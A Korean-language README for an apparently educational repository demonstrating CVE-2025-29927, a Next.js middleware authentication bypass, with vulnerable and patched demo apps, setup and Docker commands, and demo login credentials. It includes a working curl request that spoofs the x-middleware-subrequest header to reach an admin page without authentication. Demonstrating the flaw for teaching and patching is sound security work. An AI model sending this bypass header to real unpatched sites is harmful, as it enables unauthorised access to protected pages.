
# CVE-2025-29927 시연: x-middleware-subrequest 헤더 스푸핑을 통한 Next.js 미들웨어 인증 우회. 보안 교육용 취약 및 패치된 앱 예제 포함.
이 저장소는 Next.js 15.2.2 및 이전 버전에 영향을 미치는 Next.js 취약점 CVE-2025-29927의 데모를 포함하고 있습니다. 이 취약점을 통해 공격자는 x-middleware-subrequest 헤더를 설정하여 미들웨어 인증 검사를 우회할 수 있습니다.
이것은 두 개의 Next.js 애플리케이션이 포함된 NX 모노레포입니다:
Next.js 15.2.3 이전 버전에는 미들웨어 구현에 보안 취약점이 있습니다. 미들웨어는 x-middleware-subrequest 헤더의 출처를 제대로 검증하지 않으므로, 공격자가 이 헤더를 스푸핑하여 미들웨어 기반 인증 검사를 우회할 수 있습니다.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
취약한 앱은 http://localhost:3000에서 사용할 수 있습니다.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
수정된 앱은 http://localhost:3001에서 사용할 수 있습니다.
앱을 Docker로 실행할 수도 있습니다:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
취약한 버전(15.2.2)에서는 x-middleware-subrequest 헤더를 추가하여 인증 없이 관리자 페이지에 접근할 수 있습니다.
수정된 버전(15.2.3)에서는 미들웨어가 이 헤더의 출처를 올바르게 검증하므로 여전히 로그인 페이지로 리디렉션됩니다.
데모 목적으로 다음 정보로 로그인할 수 있습니다:
adminpassword123프로덕션 환경에서 Next.js를 사용하는 경우, 이 취약점으로부터 보호하기 위해 버전 15.2.3 이상으로 업데이트해야 합니다.